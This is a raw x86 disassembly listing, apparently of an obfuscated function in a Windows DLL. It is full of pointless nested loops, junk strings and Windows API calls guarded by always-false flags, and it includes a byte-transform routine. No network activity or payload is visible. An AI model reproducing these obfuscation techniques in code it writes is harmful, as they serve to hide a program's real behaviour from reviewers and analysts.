call fcn.10001ffb
cmp dword [eax], 0
jl 0x1003e1e5
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x6fc], 0x2215256e
mov dword [ebp - 0x2e4], 0x37c0
mov dword [ebp - 0x638], str.tfbvchw_zvpvwig_njdxhc_jojjfg_ddvkckgfa_iyvqfs_fsb_uonb_ollas
cmp dword [ebp - 0x2e4], 0x3ba5
jle 0x1003dfd7
and dword [ebp - 0x238], 0
jmp 0x1003df43
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x31f8
jge 0x1003dfd7
and dword [ebp - 0x1fc], 0
jmp 0x1003df69
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x6404
jge 0x1003dfd2
and dword [ebp - 0x240], 0
jmp 0x1003df8b
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x835
jge 0x1003dfd0
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x1fc]
shl eax, cl
or eax, dword [ebp - 0x240]
cdq
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x660], edx
push dword [ebp - 0x660]
push dword [ebp - 0x664]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003df7e
jmp 0x1003df5c
jmp 0x1003df36
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3e4], eax
mov esi, dword [ebp - 0x3e4]
push 2
lea ecx, [ebp - 0x5b4]
call fcn.10001ffb
mov edi, eax
push 0
lea ecx, [ebp - 0x5b4]
call fcn.10001ffb
push dword [eax]
lea ecx, [ebp - 0x7a0]
call fcn.10001ffb
mov eax, dword [eax]
imul eax, dword [edi]
add eax, esi
je 0x1003e054
mov dword [ebp - 0x38], 0xc5d9b4e9
mov dword [ebp - 0x38], 0
jmp 0x1003e032
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jg 0x1003e04f
push dword [ebp - 0x38]
lea ecx, [ebp - 0x7a0]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003e04d
jmp 0x1003e04f
jmp 0x1003e02b
jmp 0x1003e186
mov dword [ebp - 0x38], 0
jmp 0x1003e064
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xa
jg 0x1003e17c
mov dword [ebp - 0x4bc], 0x25ca
mov dword [ebp - 0x62c], str.ciwabze_qvhbldioi_umaqjuoae_nac_yzbx_ilrprcfue_bidbh_rmwrp_btfeykjzx_xfbunsfns_jpc_ilw_bsvx_som
cmp dword [ebp - 0x4bc], 0x284b
jle 0x1003e107
and dword [ebp - 0x204], 0
jmp 0x1003e0a4
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x4924
jge 0x1003e107
and dword [ebp - 0x248], 0
jmp 0x1003e0c6
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x3106
jge 0x1003e105
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x248]
shl eax, cl
cdq
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], edx
push dword [ebp - 0x66c]
push dword [ebp - 0x670]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003e0b9
jmp 0x1003e097
mov byte [ebp - 0x82], 0
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x4bc], 0x2282
jge 0x1003e12e
mov edx, dword [ebp - 0x62c]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003e14a
mov dword [ebp - 4], 0x15
jmp 0x1003e15a
movzx eax, byte [ebp - 0x82]
test eax, eax
je 0x1003e177
push 0x2431
push 0x1edc
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x1003e05d
mov dword [ebp - 0x6fc], 0xfffffff8
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x2e4], 0x3674
jge 0x1003e1a6
mov edx, dword [ebp - 0x638]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003e1c2
mov dword [ebp - 4], 0x15
jmp 0x1003e1d2
cmp dword [ebp - 0x740], 0
je 0x1003e1e0
jmp 0x1003debb
jmp 0x1003debb
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x5b4]
call fcn.10001fdf
jmp 0x1003de3c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7a0]
call fcn.10001fdf
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x128]
and eax, 0x8e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x128]
or ecx, 0x8e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
mov byte [ebp + eax - 0x5f4], cl
push 3
lea ecx, [ebp - 0x718]
call fcn.10001f82
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x20c], 0
jmp 0x1003e273
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jge 0x1003e295
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x718]
call fcn.10001ffb
mov dword [eax], 0x7ddc85f7
jmp 0x1003e266
push 2
lea ecx, [ebp - 0x718]
call fcn.10001ffb
mov dword [eax], 0xfffffffc
jmp 0x1003e2ce
push 2
lea ecx, [ebp - 0x718]
call fcn.10001ffb
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x528]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x528]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x718]
call fcn.10001ffb
cmp dword [eax], 0xfffffff4
jg 0x1003e330
mov dword [ebp - 0x250], 0xfffffff9
mov dword [ebp - 0x250], 0xffffffe5
jmp 0x1003e303
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x1d
jne 0x1003e32b
mov byte [ebp - 0x83], 0
movzx eax, byte [ebp - 0x83]
test eax, eax
je 0x1003e329
push 0x4c7
call dword [sym.imp.USER32.dll_SetCapture]
jmp 0x1003e2f6
jmp 0x1003e2aa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x718]
call fcn.10001fdf
mov dword [ebp - 0x14], 2
and dword [ebp - 0xfc], 0
jmp 0x1003e357
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1e
jae 0x1003f0f3
mov dword [ebp - 0x2e8], 0xa23
mov dword [ebp - 0x668], str.oltz_pzqxfgvwz_ubo_xtdmkzyfd_jahm_ffyq_zgqcxbr_povqb_reqhxw_xzzrxvmpl
cmp dword [ebp - 0x2e8], 0xdba
jle 0x1003e468
and dword [ebp - 0x15c], 0
jmp 0x1003e39b
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x3372
jge 0x1003e468
and dword [ebp - 0x214], 0
jmp 0x1003e3c1
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x3be2
jge 0x1003e463
and dword [ebp - 0x258], 0
jmp 0x1003e3e7
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x4817
jge 0x1003e45e
and dword [ebp - 0x160], 0
jmp 0x1003e409
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x3899
jge 0x1003e459
mov eax, dword [ebp - 0x214]
cdq
idiv dword [ebp - 0x258]
mov eax, dword [ebp - 0x15c]
mov ecx, edx
shl eax, cl
mov ecx, dword [ebp - 0x160]
sar eax, cl
cdq
mov dword [ebp - 0x67c], eax
mov dword [ebp - 0x678], edx
push dword [ebp - 0x678]
push dword [ebp - 0x67c]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003e3fc
jmp 0x1003e3da
jmp 0x1003e3b4
jmp 0x1003e38e
mov dword [ebp - 0x2c], 0x324ec2e0
mov dword [ebp - 0x7d0], 0x9532
mov dword [ebp - 0x7cc], 0x9532
mov dword [ebp - 0x7c8], 0x9532
mov dword [ebp - 0x7c4], 0x9532
lea ecx, [ebp - 0x291]
call fcn.10002316
push eax
lea eax, [ebp - 0x7c0]
push eax
lea eax, [ebp - 0x7d0]
push eax
lea ecx, [ebp - 0x954]
call fcn.100083c7
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x54c]
call fcn.100083a1
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x71c], 0xffffffff
mov dword [ebp - 0x168], 0
jmp 0x1003e4f6
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jge 0x1003e512
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x824], 1
jmp 0x1003e4e9
mov dword [ebp - 0x2c], 0xffffffe5
jmp 0x1003e522
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jg 0x1003e9c9
mov dword [ebp - 0xf4], 3
mov dword [ebp - 0x4e4], 0x1bd77dfc
mov dword [ebp - 0x748], 0
mov dword [ebp - 0xf4], 0
jmp 0x1003e563
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jg 0x1003e9c4
mov dword [ebp - 0x42c], 0xfffffffe
mov dword [ebp - 0x170], 0
jmp 0x1003e593
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x1003e5af
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x154], 0x80e3580d
jmp 0x1003e586
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x154], 0
jmp 0x1003e5dd
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x154], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x154], 3
jg 0x1003e9bf
mov dword [ebp - 0x3f4], 0x3b16aac8
mov dword [ebp - 0x644], 0x153413f0
mov dword [ebp - 0x2d4], 9
mov dword [ebp - 0x4d4], 7
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1003e638
push 0
push 0x342
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, 0x3b37
test eax, eax
je 0x1003e7a6
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x154]
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
mov esi, eax
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x154]
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
mov eax, dword [eax]
mov dword [esi], eax
push 1
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
mov eax, dword [eax]
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x644], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0x90c], eax
push 0
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003e6cd
mov dword [ebp - 0x4c4], 1
jmp 0x1003e6d4
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 0xffff
jbe 0x1003e6ec
mov dword [ebp - 0x3fc], 1
jmp 0x1003e6f3
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3fc], eax
jg 0x1003e70a
mov dword [ebp - 0x570], 1
jmp 0x1003e711
and dword [ebp - 0x570], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
add eax, dword [ebp - 0x570]
mov dword [ebp - 0x2d4], eax
jne 0x1003e73c
push 3
pop eax
test eax, eax
jne 0x1003e73c
and dword [ebp - 0x404], 0
jmp 0x1003e746
mov dword [ebp - 0x404], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x404], eax
jl 0x1003e75d
mov dword [ebp - 0x4cc], 1
jmp 0x1003e764
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x4e4]
cmp eax, 0x5232
jl 0x1003e783
mov dword [ebp - 0x70c], 1
jmp 0x1003e78a
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x898], eax
xor eax, eax
je 0x1003e7a6
mov dword [ebp - 0x40c], 1
jmp 0x1003e7ad
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x40c], eax
jl 0x1003e7c4
mov dword [ebp - 0x650], 1
jmp 0x1003e7cb
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x42c], 0xadc705be
jb 0x1003e7ec
mov dword [ebp - 0x530], 1
jmp 0x1003e7f3
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
add eax, 4
jne 0x1003e80a
mov dword [ebp - 0x414], 1
jmp 0x1003e811
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x748]
cmp dword [ebp - 0x414], eax
jg 0x1003e82b
mov dword [ebp - 0x41c], 1
jmp 0x1003e832
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x4d4]
cmp dword [ebp - 0x41c], eax
jne 0x1003e878
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x1003e85a
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x824], eax
jmp 0x1003e9ba
mov dword [ebp - 0x574], 0xfffffffd
mov dword [ebp - 0x4dc], 0
push 1
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
cmp dword [eax], 0xdb1
jl 0x1003e912
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x8a0], eax
mov eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x574]
jl 0x1003e8c4
mov dword [ebp - 0x65c], 1
jmp 0x1003e8cb
and dword [ebp - 0x65c], 0
push 2
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
cmp dword [ebp - 0x2c], 1
jne 0x1003e8ea
mov dword [ebp - 0x424], 1
jmp 0x1003e8f1
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0
je 0x1003e912
mov dword [ebp - 0x2b4], 1
jmp 0x1003e919
and dword [ebp - 0x2b4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp + eax - 0x824], ecx
mov esi, dword [ebp - 0x42c]
imul esi, dword [ebp - 0x2b4]
push 1
lea ecx, [ebp - 0x54c]
call fcn.10001ffb
cmp esi, dword [eax]
jge 0x1003e955
mov dword [ebp - 0x538], 1
jmp 0x1003e95c
and dword [ebp - 0x538], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp dword [ebp - 0x538], eax
jge 0x1003e983
cmp dword [ebp - 0xf4], 0
jne 0x1003e983
and dword [ebp - 0x434], 0
jmp 0x1003e98d
mov dword [ebp - 0x434], 1
mov eax, dword [ebp - 0x4e4]
cmp eax, dword [ebp - 0x2d4]
jne 0x1003e9a7
mov dword [ebp - 0x43c], 1
jmp 0x1003e9ae
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x71c], eax
jmp 0x1003e5c2
jmp 0x1003e556
jmp 0x1003e51b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x824]
mov dword [ebp - 0x2c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x54c]
call fcn.10001fdf
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x2e8], 0x81e
jge 0x1003ea0b
mov edx, dword [ebp - 0x668]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003ea27
or dword [ebp - 4], 0xffffffff
jmp 0x1003ea31
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x1003ee81
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x128]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x128]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xd4], 0xfffffffc
mov dword [ebp - 0x340], 8
push 3
lea ecx, [ebp - 0x55c]
call fcn.10001f82
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x750], 0x6c0e2632
mov dword [ebp - 0x358], 0xe280bfe7
mov dword [ebp - 0x370], 1
mov dword [ebp - 0x5c], 0
jmp 0x1003eac9
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x1003eae5
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
mov dword [eax], 0x4272ba7
jmp 0x1003eac2
mov dword [ebp - 0x5c], 0
jmp 0x1003eaf5
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x1003eb0b
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x8bc], 0xb6046e74
jmp 0x1003eaee
mov dword [ebp - 0xd4], 0
jmp 0x1003eb24
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xd
jl 0x1003ee6d
push 1
lea ecx, [ebp - 0x5e4]
call fcn.10001f82
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x900], 0xe283bc1b
mov dword [ebp - 0x178], 0
jmp 0x1003eb65
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x1003eb84
push dword [ebp - 0x178]
lea ecx, [ebp - 0x5e4]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003eb58
mov eax, dword [ebp - 0x370]
add eax, 0xa09a
jne 0x1003ebac
push 2
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
cmp dword [eax], 0
jne 0x1003ebac
and dword [ebp - 0x2f0], 0
jmp 0x1003ebb6
mov dword [ebp - 0x2f0], 1
cmp dword [ebp - 0x2f0], 0xffffffff
jge 0x1003ebcb
mov dword [ebp - 0x2f8], 1
jmp 0x1003ebd2
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
add eax, 0x11e9
je 0x1003ebf1
mov eax, 0xbca3396d
test eax, eax
je 0x1003ebf1
and dword [ebp - 0x300], 0
jmp 0x1003ebfb
mov dword [ebp - 0x300], 1
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax]
jne 0x1003ec2d
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10001ffb
cmp dword [eax], 0
jne 0x1003ec2d
and dword [ebp - 0x308], 0
jmp 0x1003ec37
mov dword [ebp - 0x308], 1
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x308]
jge 0x1003ec63
push 1
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003ec63
mov dword [ebp - 0x318], 1
jmp 0x1003ec6a
and dword [ebp - 0x318], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8bc]
dec eax
mov dword [ebp - 0x310], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x310]
mov dword [ebp + eax - 0x8bc], ecx
mov eax, dword [ebp - 0x310]
cmp eax, dword [ebp - 0x318]
jne 0x1003ecab
mov dword [ebp - 0x320], 1
jmp 0x1003ecb2
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x320]
jg 0x1003eccc
mov dword [ebp - 0x328], 1
jmp 0x1003ecd3
and dword [ebp - 0x328], 0
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10001ffb
mov ecx, dword [ebp - 0x328]
imul ecx, dword [eax]
cmp ecx, 0x48aee511
jl 0x1003ecfd
mov dword [ebp - 0x330], 1
jmp 0x1003ed04
and dword [ebp - 0x330], 0
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x330]
sub ecx, dword [eax]
cmp ecx, 4
jb 0x1003ed2a
mov dword [ebp - 0x338], 1
jmp 0x1003ed31
and dword [ebp - 0x338], 0
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x338]
cmp ecx, dword [eax]
jg 0x1003ed54
mov dword [ebp - 0x348], 1
jmp 0x1003ed5b
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x340], eax
mov esi, dword [ebp - 0x340]
sub esi, dword [ebp - 0x348]
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10001ffb
cmp esi, dword [eax]
jle 0x1003ed90
mov dword [ebp - 0x350], 1
jmp 0x1003ed97
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x750]
cmp dword [ebp - 0x350], eax
jg 0x1003edb1
mov dword [ebp - 0x298], 1
jmp 0x1003edb8
and dword [ebp - 0x298], 0
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001ffb
mov ecx, dword [ebp - 0x298]
mov dword [eax], ecx
cmp dword [ebp - 0x298], 0
je 0x1003edeb
cmp dword [ebp - 0x358], 0
je 0x1003edeb
mov dword [ebp - 0x360], 1
jmp 0x1003edf2
and dword [ebp - 0x360], 0
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10001ffb
mov ecx, dword [ebp - 0x360]
cmp ecx, dword [eax]
jle 0x1003ee15
mov dword [ebp - 0x368], 1
jmp 0x1003ee1c
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x370], eax
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x1003ee59
push 0
push 0
push 0x209c
push 0
push 0x884
push 0
push 0x1028
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x5e4]
call fcn.10001fdf
jmp 0x1003eb17
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x55c]
call fcn.10001fdf
jmp 0x1003e34f
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xfc]
movzx eax, byte [ebp + eax - 0x12a]
movsx eax, byte [ebp + eax - 0x5f4]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x127]
and ecx, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xfc]
movzx eax, byte [ebp + eax - 0x12a]
movsx eax, byte [ebp + eax - 0x5f4]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0x127]
and edx, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xfc]
movzx eax, byte [ebp + eax - 0x12a]
movsx eax, byte [ebp + eax - 0x5f4]
mov esi, dword [ebp - 0x14]
movzx ebx, byte [ebp + esi - 0x127]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x128]
mov byte [ebp + eax - 0x5f4], bl
mov dword [ebp - 0x180], 0x9b55bb2c
mov dword [ebp - 0x8b0], 0xffffffff
mov dword [ebp - 0x920], 0x199f2dc8
mov dword [ebp - 0x74c], 0xfffffffc
mov dword [ebp - 0x68], 0
jmp 0x1003ef41
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1003ef57
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x8c0], 0xfffffff6
jmp 0x1003ef3a
mov dword [ebp - 0x68], 0
jmp 0x1003ef67
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1003ef7d
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x680], 0xc588cb5c
jmp 0x1003ef60
mov dword [ebp - 0x180], 0xfffffff7
jmp 0x1003ef96
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x11
je 0x1003f0e7
mov dword [ebp - 0x188], 1
mov dword [ebp - 0x674], 0x95ff79fa
mov dword [ebp - 0x908], 0xe9a5
mov dword [ebp - 0x188], 0
jmp 0x1003efda
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jg 0x1003f0e2
mov dword [ebp - 0x8d0], 0x7cce45d7
mov dword [ebp - 0x918], 0x4aafbebf
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x758], 0x1aaf
mov dword [ebp - 0x190], 0
jmp 0x1003f028
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x1003f044
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x844], 0x72ee72c3
jmp 0x1003f01b
cmp dword [ebp - 0x674], 0
jle 0x1003f059
mov dword [ebp - 0x378], 1
jmp 0x1003f060
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x758]
cmp dword [ebp - 0x378], eax
jle 0x1003f07a
mov dword [ebp - 0x380], 1
jmp 0x1003f081
and dword [ebp - 0x380], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x380]
mov dword [ebp + eax - 0x680], ecx
or eax, 0xffffffff
jne 0x1003f0ab
mov eax, 0x39fc
test eax, eax
jne 0x1003f0ab
and dword [ebp - 0x388], 0
jmp 0x1003f0b5
mov dword [ebp - 0x388], 1
cmp dword [ebp - 0x388], 2
jne 0x1003f0ca
mov dword [ebp - 0x390], 1
jmp 0x1003f0d1
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x74c], eax
jmp 0x1003efcd
jmp 0x1003ef89
and dword [ebp - 0xfc], 0
jmp 0x1003e34f
mov dword [ebp - 0x44], 0
mov dword [ebp - 0xac], 0xd5fac122
mov dword [ebp - 0xdc], 0xfffffffc
push 3
lea ecx, [ebp - 0x7ac]
call fcn.10001f82
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x198], 0
jmp 0x1003f13b
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x1003f15d
push dword [ebp - 0x198]
lea ecx, [ebp - 0x7ac]
call fcn.10001ffb
mov dword [eax], 0x72b5725d
jmp 0x1003f12e
mov dword [ebp - 0xac], 0xd023457a
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0xdc]
jg 0x1003f18f
xor eax, eax
inc eax
je 0x1003f18f
mov dword [ebp - 0x398], 1
jmp 0x1003f196
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x398]
jne 0x1003f1ad
mov dword [ebp - 0x3a0], 1
jmp 0x1003f1b4
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x3a0]
jne 0x1003f1cb
mov dword [ebp - 0x3a8], 1
jmp 0x1003f1d2
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x3a8]
test eax, eax
jne 0x1003f1ea
cmp dword [ebp - 0x44], 0
je 0x1003f355
mov dword [ebp - 0x44], 0
jmp 0x1003f1fa
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x1003f353
mov dword [ebp - 0xac], 0
jmp 0x1003f21d
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jg 0x1003f32f
mov dword [ebp - 0xdc], 0
jmp 0x1003f243
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jg 0x1003f30f
mov dword [ebp - 0x1a0], 0xfffffffb
mov dword [ebp - 0x1a0], 2
jmp 0x1003f273
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jl 0x1003f2eb
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x48], 0
jmp 0x1003f293
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x1003f2ac
push dword [ebp - 0x48]
lea ecx, [ebp - 0x7ac]
call fcn.10001ffb
or dword [eax], 0xffffffff
jmp 0x1003f28c
mov dword [ebp - 0x48], 2
jmp 0x1003f2bc
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
